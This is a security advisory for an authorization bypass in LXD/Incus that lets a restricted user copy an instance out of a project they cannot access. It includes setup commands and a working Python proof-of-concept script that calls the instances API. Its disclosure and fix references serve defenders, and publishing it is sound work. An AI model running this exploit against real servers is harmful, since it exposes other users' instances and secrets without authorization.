LXD has project restriction bypass in instance copy across projects — github.com/canonical/lxd
Improper Access ControlReported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
Details
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
PoC
Setup
We assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus ls remote:
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
| Software | Affected versions |
|---|---|
github.com/canonical/lxd
|
< 0.0.0-20260630083100-c5184be310b1 |
- https://github.com/canonical/lxd/commit/97cb037794cb6b21c5a184eb5f3292207adbf6b2
- https://github.com/canonical/lxd/commit/bc1e20ea32dff6ae2df08803eee82832959ec80e
- https://github.com/canonical/lxd/commit/f7849615eb89e71a12ea76daaab6110bdf0fdf7f
- https://github.com/canonical/lxd/releases/tag/lxd-5.0.7
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- https://github.com/canonical/lxd/releases/tag/lxd-6.8
- https://github.com/canonical/lxd/security/advisories/GHSA-qx75-2p3r-pwm5
- https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
Is lxd exposed on your perimeter?
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.